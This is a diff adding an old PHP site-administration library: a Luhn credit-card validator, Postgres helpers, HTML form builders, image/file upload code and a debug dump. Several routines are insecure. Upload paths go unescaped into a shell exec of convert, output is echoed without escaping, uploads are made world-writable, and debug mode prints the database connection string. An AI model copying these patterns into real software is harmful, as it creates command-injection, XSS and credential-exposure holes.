+               $states["WY"] =  "Wyoming";
+               $states["YT"] =  "Yukon";
+               $states["Asia"] =  "Asia";
+               $states["Australia"] =  "Australia";
+               $states["Bahamas"] =  "Bahamas"; 
+               $states["Caribbean"] =  "Caribbean";
+               $states["Costa Rica"] =  "Costa Rica";
+               $states["South America"] =  "South America";
+               $states["South Africa"] =  "South Africa";
+               $states["Europe"] =  "Europe";
+               $states["Mexico"] = "Mexico";
+               /* Libraries */
+               /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+               
+
+               /**
+                * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+                card type is given, attempts to guess. Then, if a list of
+                accepted types is given, determines whether or not we'll
+                accept it
+                * @param $Num: Credit Card Number
+                * @param $Name = '': Type of Card
+                * @param $Accepted='' : Accepted array
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function CreditVal($Num, $Name = '', $Accepted='') 
+               { 
+                       $Name = strtolower( $Name );
+                       $Accepted = strtolower( $Accepted );
+                       $GoodCard = 1;
+                       $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+                       switch ($Name) 
+                       { 
+
+                               case "mastercard" : 
+                                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                               break; 
+
+                               case "visa" : 
+                                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                               break; 
+
+                               case "americanexpress" : 
+                                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                               break; 
+
+                               case "discover" : 
+                                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                               break; 
+
+                               case "dinerscard" : 
+                                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                               break;
+
+                               default:
+                               if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                               if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                               if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                               if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                               if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                               break;
+                       } 
+
+                       // If there's a limit on card types we accept, check for it here.
+                       if( $Accepted )
+                       {
+                               $type_verified = FALSE;
+                               $brands = explode_trim( ",", $Accepted );
+                               foreach( $brands as $brand )
+                                       if( $Name == $brand )
+                                               $type_verified = TRUE;
+
+                               if( !$type_verified ) return(FALSE);
+                       }
+
+                       $Num = strrev($Num); 
+
+                       $Total = 0; 
+
+                       for ($x=0; $x<strlen($Num); $x++) 
+                       { 
+                               $digit = substr($Num,$x,1); 
+                               if ($x/2 != floor($x/2)) 
+                               { 
+                                       $digit *= 2; 
+                                       if (strlen($digit) == 2)  
+                                               $digit = substr($digit,0,1) + substr($digit,1,1); 
+                               } 
+                               $Total += $digit; 
+                       } 
+                       if ($GoodCard && $Total % 10 == 0) 
+                       {
+                               return(true); 
+                       }
+                       else 
+                       {
+                               return(false); 
+                       }
+               }
+               /* DataBase Library */
+
+               /**
+                * db_connect :Creates a connection to database specified $conn_str
+                * @param $conn="" : connection string
+                * 
+                * @return index or bool 
+                * @access 
+                **/
+               function db_connect($conn="") 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn = CONN_STR;
+                               $ret = pg_connect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_close :Closes the connection to database specified by the handle dbd      
+                * @param $$dbd : database handle 
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function db_close($dbd) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_close($dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                       NOTICE DON'T USE THIS
+                * db_pconnect :Creates a persistant connection to database specified in $conn_str
+                * @param $$conn="" : connection string 
+                * 
+                * @return 
+                * @access 
+                **/
+               function db_pconnect($conn="") 
+               {
+                       return( false );
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn == CONN_STR;
+                               $ret = pg_pconnect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_exec : Execute an SQL query
+                * @param $dbd: database handle 
+                * @param $$qs : Query
+                * 
+                * @return int Returns a valid result index on success 0 on failure
+                * @access 
+                **/
+               function db_exec($dbd, $qs) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_exec($dbd, $qs);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_fetch_array :Stores the data in associative indices, using the field names as     
+                * keys.
+                * @param $res: valid database result index
+                * @param $i: row number
+                * @param $$type : database type 
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_fetch_array($res, $i, $type) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array($res, $i, $type);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($row);
+               }
+
+               /**
+                * db_freeresult :Free result memory.
+                * @param $$res : valid database result index
+                * 
+                * @return bool - Returns 1 for success 0 for failure
+                * @access 
+                **/
+               function db_freeresult($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult($res);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_numrows :Determine number of rows in a result index
+                * @param $$res : valid database result index
+                * 
+                * @return int - Returns number of rows
+                * @access 
+                **/
+               function db_numrows($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows($res);
+                               break;
+
+                               default:
+                               return(-1);
+                       }
+
+                       return($ret);
+               }
+
+               /************************************************************************
+                *                                                                                                                                              *
+                * BEGIN Auto functions                                                                                                 *
+                *                                                                                                                                              *
+                ***********************************************************************/
+
+               /**
+                * db_auto_array :The auto function for retrieving an array based soley on a query      
+                * string. This function makes the connection, does the exec, fetches   
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns the array
+                * @param $qs: SQL query string
+                * @param $i: row number
+                * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+                * 
+                * @return array - Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_array($qs, $i, $type) 
+               {
+
+                       $dbd = db_connect();
+                       if(!$dbd)
+                       {
+                               return(0);
+                       }
+                       $res = db_exec($dbd, $qs);
+                       if(!$res)
+                       {
+                               return(0);
+                       }
+
+                       $row = db_fetch_array($res, $i, $type);
+
+                       if(!db_freeresult($res))
+                       {
+                               return(0);
+                       }
+
+                       db_close($dbd);
+                       return($row);
+               }
+
+               /**
+                * db_auto_exec :The auto function for executing a query.                               
+                * This function makes the connection, does the exec, fetches           
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns success (not a valid result index)
+                * @param $qs: SQL query string
+                * @param $$conn="" : Connect String
+                * 
+                * @return int - Returns 1 (or oid, if available) for success 0 for failure
+                * @access 
+                **/
+               function db_auto_exec($qs, $conn="") 
+               {
+
+                       if($conn == "")
+                               $conn = CONN_STR;
+                       $dbd = db_connect($conn);
+                       if(!$dbd)
+                               return(0);
+                       if(!db_exec($dbd, $qs)) 
+                       {
+                               db_close($dbd);
+                               return(0);
+                       }
+                       else 
+                       {
+                               db_close($dbd);
+                               return(1);
+                       }
+               }
+
+               /**
+                * db_auto_get_data :The auto function for retrieving an array based soley on a query   
+                string. This function makes the connection, does the exec, fetches     
+                the array, closes the connection, frees memory used by the result,     
+                and then returns the array
+                * @param $qs:  SQL query string
+                * @param $CONN_STR: Connect String
+                * @param $$fail_mode=0 : Failure Mode
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0) 
+               {
+
+                       if( !($dbd = db_connect($conn)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       if( !($res = db_exec($dbd, $qs)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       $totalrows = pg_NumRows($res);
+
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+                       }
+
+                       db_close( $dbd );
+                       if(isset($data) && $data!="")   
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return(0);
+                       }
+               }
+
+               /* HTML Libraries */
+
+               /**
+                * html_footer :Generates a footer table on the bottom of the page it's called on.      
+                and closes out the body and html tags.
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_footer() 
+               {
+                       $footer_table_width = "400";
+                       $footer_table_align = "center";
+
+                       ?>
+                               <hr>
+                               <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+                               <tr>
+                               <td align="left" class="footertd">
+                               <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+                               </td>
+                               <td align="right" class="footertd">
+                               <a href="<?echo FOOTER_URL?>" target="new">
+                               <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+                               </td>
+                               </tr>
+                               </table>
+                               </body>
+                               </html>
+                               <?
+                               exit(); /* we've got to terminate any more output */
+               }
+
+               /**
+                * html_error :Generates a footer table on the bottom of the page it's called on.       
+                and closes out the body and html tags.
+                * @param $msg: string error message to be displayed
+                * @param $$bail : bool whether or not to exit() after $msg
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_error($msg, $bail) 
+               {
+                       ?>
+                               <table summary="Error Information" class="errortable" cellspacing="0">
+                               <tr class="errortr">
+                               <td class="errortd">
+                               <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+                               </td>
+                               </tr>
+                               </table>
+
+                               <?
+                               if($bail)
+                               {
+                                       html_footer();
+                               }
+               }
+
+               /**
+                * html_nav_table :Generates a navigation table on the page it's called on.
+                * @param $nav: associative array with entries like:$nav[text][url]
+                * @param $$w : max width of table
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_nav_table($nav, $w) 
+               {
+                       $nav_table_table_width = "400";
+                       $nav_table_table_align = "center";
+                       ?>
+                               <table width="100%" align="center" summary="Navigation Information" class="navtable" cellspacing="0" border="0">
+                               <tr class="navtr">
+                               <?
+                               $i = 0;
+                       $width = 100 / $w;
+
+                       while(list($text, $url) = each($nav)) 
+                       {
+                               $i++;
+                               if(($i == (count($nav))) && (($w % $i) != 1))
+                               {
+                                       $cs = ($w - ((count($nav)-1) % $w));
+                               }
+                               else
+                               {
+                                       $cs = 1;
+                               }
+                               ?>
+                                       <td width="<?echo $width."%"?>"class="navtd" colspan="<?echo $cs?>" align="center">
+                                       <?
+                                       if(is_array($url))
+                                               echo "<a href=\"$url[0]\" $url[1] title=\"$text\">";
+                                       else
+                                               echo "<a href=\"$url\" title=\"$text\">";
+                               ?>
+                                       <div class="navtext"><?echo $text?></a></div>
+                                       </td>
+                                       <?
+                                       if(!($i % $w))
+                                               print"</tr>\n\t<tr class=\"navtr\">\n";
+                               if($i == count($nav))
+                               {
+                                       print"</tr>\n";
+                               }
+                       }
+                       ?>
+                               </table>
+                               <?
+               }
+
+               /**
+                * html_header :Opens up the html tags, and includes the style sheet link                       
+                generates a header table on the top of the page it's called on.
+                * @param $title: Page Title 
+                * @param $msg: message to display 
+                * @param $$img : image to display
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_header($title, $msg, $img) 
+               {
+                       $header_table_width = "400";
+                       $header_table_align = "center";
+
+                       ?>
+                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+                               "http://www.w3.org/TR/html4/loose.dtd">
+                               <html>
+                               <head>
+                               <title><?echo $title?></title>
+                               <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+                               </head>
+                               <body>
+                               <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+                               <tr class="headertr">
+                               <td class="headertd">
+                               <?
+                               if($img) 
+                               {
+                                       ?>
+                                               <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+                                               <?
+                               }
+                       ?>
+                               </td>
+                               </tr>
+                               <tr>
+                               <td class="headertd2" align="center">
+                               <div class="headerh2" align="center"><?echo "$msg"?></div>
+                               </td>
+                               </tr>
+                               </table>
+                               <?
+               }
+
+               /**
+                * form_header :Opens up the form tag, and includes the hidden assoc array as hidden    
+                fields.
+                * @param $action: string form action string
+                * @param $method: string Method of form
+                * @param $$hidden = "" : assoc array with $hidden($name => $value)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_header($action, $method, $hidden = "") 
+               {
+                       echo "<form action=\"$action\" method=\"$method\" 
+                               enctype=\"multipart/form-data\">";
+                       if($hidden != "" && is_array($hidden)) 
+                       {               
+                               foreach($hidden as $key=>$value) 
+                               {
+                                       echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+                               }
+                       }
+               }
+
+               /**
+                * text_area :Creates textarea with good default values for rows cols and wrap.
+                * @param $name: string form action string
+                * @param $value: string Method of form
+                * @param $$rows = 15: int4 number of rows in textarea box
+                * @param $$cols = 50: int4 number of cols in textarea box
+                * @param $$wrap = "virtual"  : string the wrap value for the textarea box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" ) 
+               {
+                       echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\" 
+                               rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+               }
+
+               /**
+                * text_box :Creates a input box for text with 35 as default size
+                * @param $name: string name of text box
+                * @param $value: string value of text box
+                * @param $$size = 35 : string size of text box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_box($name, $value, $size = 35) 
+               {
+                       echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+                               value=\"$value\" size=\"$size\"></td>";
+               }
+
+               /**
+                * form_footer :Closes up the form tag, and includes the submit button
+                * @param $name: string form action string
+                * @param $$suppress = 0: string Method of form
+                * @param $$cs : int colspan for td 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_footer($name, $suppress = 0, $cs) 
+               {
+                       echo "<tr><td colspan=\"$cs\" align=center>
+                               <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+                       if($suppress == 1) 
+                       {
+                               echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+                       }
+                       /*              echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+                       echo "</td>";
+               }
+
+               /* Graphics Libraries */
+
+               /**
+                * process_image :Main function for image processing                                    
+                * NOTES:                                                               
+                * This function does the following:                       
+                *
+                * 1) places image into original folder                    
+                *
+                * 2) makes three images from original size and places them
+                * into the RESIZED, MIDSIZED, and THUMB folders
+                * @param $image: The variable of the image being post from the form
+                * @param $$image_name : The variable_name of the image being post
+                * 
+                * @return string - Returns $image_name
+                * @access 
+                **/
+               function process_image ($image,$image_name) 
+               {
+                       /*      LOOK for these as defined in the top of this page
+                               $ITEM_ORIGINAL = "'600>' -quality 60";
+                               $ITEM_RESIZED = "'287>' -quality 60";
+                               $ITEM_MIDSIZED = "'210>' -quality 60";
+                               $ITEM_THUMB = "'120>' -quality 50";
+                        */
+                       if(!defined("ORIGINAL_PATH")) 
+                       {
+                               html_error("this not defined original_path",1);
+                       }
+                       if(!defined("RESIZED_PATH")) 
+                       {
+                               html_error("this not defined resized_path",1);
+                       }
+                       if(!defined("MIDSIZED_PATH")) 
+                       {
+                               html_error("this not defined midsized_path",1);
+                       }
+                       if(!defined("THUMB_PATH")) 
+                       {
+                               html_error("this not defined thumb_path",1);
+                       }
+                       $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+                       //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+                       img_resize($image_upload_array[1],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+                       img_resize($image_upload_array[1],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+                       img_resize($image_upload_array[1],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+                       $image_name = $image_upload_array[0];
+                       return($image_name);
+               }
+
+               /**
+                * img_resize :Resizes an image based on a full scale jpeg or gif
+                * @param $image: path to image which needs to be resized
+                * @param $thumb: path where resized image will live
+                * @param $$size : using axis size of new image
+                * 
+                * @return array $img_resize_array 
+                * @access 
+                **/
+               function img_resize($path2image,$path2thumb,$size) 
+               {
+                       exec( "type convert", $output, $return );
+                       if( $return == 0 )
+                       {
+                               $command = substr( $output[0],11);//
+                               $pos = strpos($command,"convert");
+                               $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+                       }
+                       else
+                       {
+                               $Path2GraphicsTools = "/usr/X11R6/bin";
+                       }
+                       $imageName = basename($path2image);
+                       $thumbName = basename($path2thumb);
+
+                       $Path2GraphicsTools = "/usr/X11R6/bin";
+
+                       exec("$Path2GraphicsTools/convert -scale $size $path2image $path2thumb");
+
+                       $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+                       return($img_resize_array);
+               }
+
+               /**
+                * img_upload :Function moves the image to the destination directory 
+                Checking to make sure that it does not have same named file in dicectory.                      
+                Image must be either jpg ,png or gif format file to be uploaded.
+                * @param $form_field: $form_field of image
+                * @param $img_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
+                * @return array $img_upload_array
+                * @access 
+                **/
+               function img_upload($form_field,$img_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name)) 
+                       {
+                               $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+                       }
+
+                       $size = getImageSize($form_field);
+
+                       if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 ) 
+                       {
+                               $i = "0";
+                               $d = dir($destination_path);
+                               $img_name_in_use = "FALSE";
+                               while($entry=$d->read()) 
+                               {
+                                       if ($entry == $img_name) 
+                                       {
+                                               $img_name_in_use = "TRUE";
+                                       }
+                                       ++$i;
+                               }
+                               $d->close();
+
+                               if ($img_name_in_use == "TRUE") 
+                               {
+                                       $new_img_name = mktime().$img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                               else 
+                               {
+                                       $new_img_name = $img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                       }
+                       else 
+                       {
+                               echo '<p style="background-color:red;color:white;">'
+                                       .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                                       .'<BR CLEAR=ALL>'
+                                       .'</p>'
+                                       ."Hit your browser's back button to continue"
+                                       .'<P>';
+                               $error[0] = "ERROR";
+                               return($error);
+                       }
+
+                       return($img_upload_array);
+               }
+
+               /**
+                * file_upload :Uploads a file same way as image_uploads does
+                * @param $form_field: $form_field of image
+                * @param $file_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
+                * @return string $file_upload
+                * @access 
+                **/
+               function file_upload($form_field,$file_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name)) 
+                       {
+                               $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+                       }
+
+                       $i = "0";
+                       $d = dir($destination_path);
+                       $file_name_in_use = "FALSE";
+                       while($entry=$d->read()) 
+                       {
+                               if ($entry == $file_name) 
+                               {
+                                       $file_name_in_use = "TRUE";
+                               }
+                               ++$i;
+                       }
+                       $d->close();
+
+                       if ($file_name_in_use == "TRUE") 
+                       {
+                               $new_file_name = mktime().$file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       else 
+                       {
+                               $new_file_name = $file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       return($file_upload);
+               }
+
+               /* Misc. Functions */
+
+               /**
+                * http_strip :Strips the http:// part from start of string
+                * @param $&$string : $string
+                * 
+                * @return string $stirng minus http:// in front
+                * @access 
+                **/
+               function http_strip(&$string) 
+               {
+                       $test_string = strtolower($string);
+                       if(substr($test_string,0,7) == "http://") 
+                       {
+                               $string = substr($string,7);
+                       }
+               }
+
+               /**
+                * footer : used for admin page footer to close out the top function 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function footer() 
+               {
+                       ?>
+                               </td>
+                               </tr>
+                               </table>
+                               <!----------------- COPYRIGHT LINE ------------------->
+                               <hr width=680 noshade size="1">
+                               <div class="footer">
+                               <i>Produced by</i>
+                               <a href="http://www.gaslightmedia.com/" target=blank><span style="color:#5070A0;font-size:10px;">
+                               <i>Gaslight Media</i></span></a>
+                               <i>All Rights Reserved</i></div>
+                               </body>
+                               </html>
+                               <?
+               }
+
+               /**
+                * top :Output the starting html and admin table tags
+                * @param $message: The title
+                * @param $hp: The help file to use
+                * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function top($message, $hp,$hp2 = NULL) 
+               {
+                       ?>
+                               <html>
+                               <head>
+                               <title></title>
+                               <link type="text/css" rel=stylesheet href=<?echo URL_BASE?>admin/main.css>
+                               <script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+                               <?
+                               echo '
+                               <script type="text/javascript" language="JavaScript">
+                               _editor_url = "'.URL_BASE.'admin/htmlarea/";
+                       </script>'; 
+
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js"></script>';
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/lang/en.js"></script>';
+                       echo '<script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/dialog.js"></script>';
+                       echo '<link type="text/css" rel=stylesheet href="'.URL_BASE.'admin/htmlarea/htmlarea.css">';
+                       ?></head>
+                               <BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+                               <TABLE width=500 align="center" BGCOLOR="#C0C0C0" CELLPADDING=2 CELLSPACING=0 BORDER=2>
+                               <TR>
+                               <TD BGCOLOR="#003366">
+                               <TABLE BGCOLOR="#C0C0C0" CELLPADDING=0 CELLSPACING=0 BORDER=0 WIDTH="100%">
+                               <TR>
+                               <TD BGCOLOR="#003366">
+                               <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=LEFT>
+                               <tr>
+                                       <TD>&nbsp;</TD>
+                               </tr>
+                               </TABLE>
+                               &nbsp;&nbsp;
+                       <div class="topheader">
+                               <?echo $message?></div>
+                               </TD>
+                               <TD BGCOLOR="#003366" ALIGN=RIGHT valign="top">
+                               <TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0 ALIGN=RIGHT>
+                               <tr>
+                               <TD nowrap="nowrap">
+                               <?php
+                               if($hp2 != "")
+                               {
+                                       echo '<a style="color:white;"
+                                               href="http://www.gaslightmedia.com/manuals/html/'.$hp2.'.html" 
+                                               target="_blank">Online Help Guide</a>&nbsp;';
+                                       echo '<a style="color:white;"
+                                               href="http://www.gaslightmedia.com/manuals/pdf/'.$hp2.'.pdf" 
+                                               target="_blank">Printable Help Guide</a>';
+                               }
+                               else
+                               {
+                                       ?>
+                                               <script lang="javascript">
+                                               var o = new Object();
+                                       o.url = "<?echo $hp?>";
+                                       o.popup = '1';
+                                       o.popup.name = 'Help';
+                                       o.width = 300;
+                                       o.height = 500;
+                                       o.scroll = true;
+                                       </script>
+                                               <A HREF="" onClick="glm_open(o); return(false);">
+                                               <IMG SRC="<?echo URL_BASE."images/help.gif"?>" BORDER=0></A>
+                                               <?php
+                               }
+                       ?>
+                               </TD>
+                               </tr>
+                               </TABLE>
+                               </TD>
+                               </TR>
+                               </TABLE>
+                               </TD>
+                               </TR>
+                               <TR>
+
+                               <TD>
+                               <?
+               }
+
+               /**
+                * top2 : alias to top()
+                * @param $message: message title 
+                * @param $hp: help file 
+                * @param $$hp2 = NULL : gaslight help file
+                * 
+                * @return 
+                * @access 
+                **/
+               function top2($message, $hp,$hp2 = NULL) 
+               {
+                       // make this an alias to top()
+                       // by calling top instead of adding extra code
+                       top($message,$hp,$hp2);
+
+               }
+
+               /********************************************************************************
+                *
+                *      DO NOT EDIT THIS SECTION
+                *
+                ********************************************************************************/
+
+               if( $DEBUG )
+               {
+                       echo '<CENTER>
+                               <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+                               <TR VALIGN="middle" BGCOLOR="#9999CC">
+                               <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+                               <TD ALIGN="left">$Id: setup.phtml,v 1.2 2010/08/22 14:36:27 cscott Exp $</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+                               <TD ALIGN="left">'.SITENAME.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+                               <TD ALIGN="left">'.BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+                               <TD ALIGN="left">'.UP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+                               <TD ALIGN="left">'.HELP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+                               <TD ALIGN="left">'.IMG_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+                               <TD ALIGN="left">'.URL_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+                               <TD ALIGN="left">'.CONN_STR.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+                               <TD ALIGN="left">'.STYLE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+                               <TD ALIGN="left">'.THUMB_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+                               <TD ALIGN="left">'.RESIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+                               <TD ALIGN="left">'.MIDSIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+                               <TD ALIGN="left">'.THUMB.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+                               <TD ALIGN="left">'.$CALLED_FROM_DIR.'&nbsp;</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+                               <TD ALIGN="left">'.$BASE_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
